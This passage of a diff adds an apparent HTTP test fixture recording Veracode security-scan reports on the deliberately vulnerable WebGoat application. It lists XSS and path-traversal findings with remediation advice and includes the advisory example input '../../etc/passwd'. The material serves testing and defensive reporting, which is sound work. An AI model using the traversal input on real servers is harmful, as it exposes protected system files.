+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:28 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:09:30 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:09:30 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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